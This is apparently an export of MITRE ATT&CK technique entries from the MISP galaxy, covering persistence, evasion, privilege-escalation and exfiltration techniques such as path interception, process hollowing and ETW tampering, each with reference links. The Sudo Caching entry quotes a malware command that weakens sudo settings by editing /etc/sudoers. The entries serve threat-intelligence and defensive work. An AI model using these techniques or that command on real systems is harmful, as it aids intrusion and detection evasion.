The tag is: misp-galaxy:mitre-attack-pattern="Data Hiding - T1320"

Table 5724. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1320">https://attack.mitre.org/techniques/T1320</a></td>
</tr>
</tbody>
</table>

**Shortcut Modification - T1023**

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023"

View relationships graph

Shortcut Modification - T1023 has relationships with:


Table 5725. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1023">https://attack.mitre.org/techniques/T1023</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/132.html">https://capec.mitre.org/data/definitions/132.html</a></td>
</tr>
</tbody>
</table>

**Broadcast Receivers - T1402**

An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.

Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.
In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app. (Citation: Android Changes to System Broadcasts)

The tag is: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402"

View relationships graph

Broadcast Receivers - T1402 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"

Table 5726. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1402">https://attack.mitre.org/techniques/T1402</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts">https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts</a></td>
</tr>
</tbody>
</table>

User Execution - T1204

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).

While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219). (Citation: Telephone Attack Delivery)

The tag is: misp-galaxy:mitre-attack-pattern="User Execution - T1204"

Table 5727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1204">https://attack.mitre.org/techniques/T1204</a></td>
</tr>
</tbody>
</table>
Task requirements - T1240

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240).

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)

The tag is: misp-galaxy:mitre-attack-pattern="Task requirements - T1240"

Table 5728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1240">https://attack.mitre.org/techniques/T1240</a></td>
</tr>
</tbody>
</table>

Traffic Signaling - T1205

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast,
and network address IP on the same port in order to achieve their goals and objectives. (Citation: Cisco Synful Knock Evolution) (Citation: Mandiant - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement. (Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)

The tag is: `misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205"

**Table 5729. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1205">https://attack.mitre.org/techniques/T1205</a></td>
</tr>
<tr>
<td><a href="https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN">https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN</a></td>
</tr>
<tr>
<td><a href="https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631">https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/synful-knock-acis">https://www.mandiant.com/resources/synful-knock-acis</a></td>
</tr>
</tbody>
</table>

**Multiband Communication - T1026**

This technique has been deprecated and should no longer be used.

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

The tag is: `misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"

**Table 5730. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1026">https://attack.mitre.org/techniques/T1026</a></td>
</tr>
</tbody>
</table>
Sudo Caching - T1206

The `<code>sudo</code>` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a `<code>timestamp_timeout</code>` that is the amount of time in minutes between instances of `<code>sudo</code>` before it will re-prompt for a password. This is because `<code>sudo</code>` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `<code>/var/db/sudo</code>` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `<code>tty_tickets</code>` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. `<code>/var/db/sudo</code>`’s timestamp can be monitored to see if it falls within the `<code>timestamp_timeout</code>` range. If it does, then malware can execute sudo commands without needing to supply the user’s password. When `<code>tty_tickets</code>` is disabled, adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled `<code>tty_tickets</code>` to potentially make scripting easier by issuing `<code>echo 'Defaults !tty_tickets' &gt;&gt; /etc/sudoers</code>` (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue `<code>killall Terminal</code>`. As of macOS Sierra, the sudoers file has `<code>tty_tickets</code>` enabled by default.

The tag is: `misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206"

View relationships graph

Sudo Caching - T1206 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"` with estimative-language:likelihood-probability="almost-certain"

Table 5731. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1206">https://attack.mitre.org/techniques/T1206</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.sudo.ws/">https://www.sudo.ws/</a></td>
<td></td>
</tr>
</tbody>
</table>

Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of
<code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Time Providers - T1209"

**Scheduled Transfer - T1029**

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

The tag is: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"
Shadow DNS - T1340

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340).

The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)

The tag is: `misp-galaxy:mitre-attack-pattern="Shadow DNS - T1340"

Path Interception - T1034

This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `<code>C:\unsafe path with space\program.exe</code>` vs. `<code>"C:\safe path with space\program.exe"</code>`). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the
intended executable. For example, if the path in a shortcut is `<code>C:\program files\myapp.exe</code>`, an adversary may create a program at `<code>C:\program.exe</code>` that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

**PATH Environment Variable Misconfiguration**

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `<code>%SystemRoot%\system32</code>` (e.g., `<code>C:\Windows\system32</code>`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if `<code>C:\example path</code>` precedes `<code>C:\Windows\system32</code>` is in the PATH environment variable, a program that is named net.exe and placed in `<code>C:\example path</code>` will be called instead of the Windows system "net" when "net" is executed from the command-line.

**Search Order Hijacking**

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `<code>net user</code>`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `<code>cmd.exe /C net user</code>` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

The tag is: misp-galaxy:mitre-attack-pattern="Path Interception - T1034"

**Table 5735. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Location Tracking - T1430

Adversaries may track a device's physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device.

On Android, applications holding the `ACCESS_COARSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device's physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application's manifest will allow applications to request location access even when the application is running in the background. (Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained. (Citation: Palo Alto SpyDealer) (Citation: Palo Alto HenBox)

On iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information. (Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key. (Citation: Google Project Zero Insomnia)

The tag is: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"`

Table 5736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1430">https://attack.mitre.org/techniques/T1430</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/training/location/permissions">https://developer.android.com/training/location/permissions</a></td>
</tr>
</tbody>
</table>
Service Execution - T1035

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.

The tag is: `misp-galaxy:mitre-attack-pattern="Service Execution - T1035"

View relationships graph

Service Execution - T1035 has relationships with:


Table 5737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1035">https://attack.mitre.org/techniques/T1035</a></td>
</tr>
</tbody>
</table>

Anonymity services - T1306

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306).

Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Anonymity services - T1306"

Table 5738. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1306">https://attack.mitre.org/techniques/T1306</a></td>
</tr>
</tbody>
</table>
**Process Hollowing - T1093**

Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093"`

View relationships graph

Process Hollowing - T1093 has relationships with:


**Table 5739. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1093">https://attack.mitre.org/techniques/T1093</a></td>
</tr>
</tbody>
</table>

**Obfuscate infrastructure - T1309**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"`

View relationships graph

Obfuscate infrastructure - T1309 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"` with estimative-language:likelihood-probability="almost-certain"

**Table 5740. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1309">https://attack.mitre.org/techniques/T1309</a></td>
</tr>
</tbody>
</table>

2734
Indicator Blocking - T1054

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW), (Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054"

View relationships graph

Indicator Blocking - T1054 has relationships with:


Table 5741. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1054">https://attack.mitre.org/techniques/T1054</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/571.html">https://capec.mitre.org/data/definitions/571.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events">https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events</a></td>
</tr>
<tr>
<td><a href="https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63">https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63</a></td>
</tr>
</tbody>
</table>

Code Injection - T1540

Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.
With root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory. (Citation: Shunix Code Injection Mar 2016) (Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application's process. (Citation: Google Triada June 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Code Injection - T1540"`

View relationships graph

Code Injection - T1540 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1631.001"` with estimative-language:likelihood-probability="almost-certain"

Table 5742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1540">https://attack.mitre.org/techniques/T1540</a></td>
</tr>
<tr>
<td><a href="https://fadeevab.com/shared-library-injection-on-android-8/">https://fadeevab.com/shared-library-injection-on-android-8/</a></td>
</tr>
<tr>
<td><a href="https://security.googleblog.com/2019/06/pha-family-highlights-triada.html">https://security.googleblog.com/2019/06/pha-family-highlights-triada.html</a></td>
</tr>
</tbody>
</table>

**PowerShell Profile - T1504**

Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (`<code>profile.ps1</code>`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `<code>-NoProfile</code>` flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: `misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504"`

View relationships graph

PowerShell Profile - T1504 has relationships with:
Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Software Packing - T1045"

View relationships graph

Software Packing - T1045 has relationships with:

Biometric Spoofing - T1460

An adversary could attempt to spoof a mobile device’s biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Biometric Spoofing - T1460"

View relationships graph

Biometric Spoofing - T1460 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 5745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1460">https://attack.mitre.org/techniques/T1460</a></td>
</tr>
</tbody>
</table>

Data Staged - T1074

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

The tag is: misp-galaxy:mitre-attack-pattern="Data Staged - T1074"

Table 5746. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1074">https://attack.mitre.org/techniques/T1074</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/m-trends/rpt-m-trends-2020">https://content.fireeye.com/m-trends/rpt-m-trends-2020</a></td>
</tr>
</tbody>
</table>
Execution Guardrails - T1480

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. (Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses. (Citation: FireEye Outlook Dec 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

The tag is: `misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"

Table 5747. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1480">https://attack.mitre.org/techniques/T1480</a></td>
</tr>
</tbody>
</table>

Process Injection - T1055

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
**Acquire Access - T1650**

Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)

Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)

By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)

In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).

**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
Input Capture - T1056

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).

Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

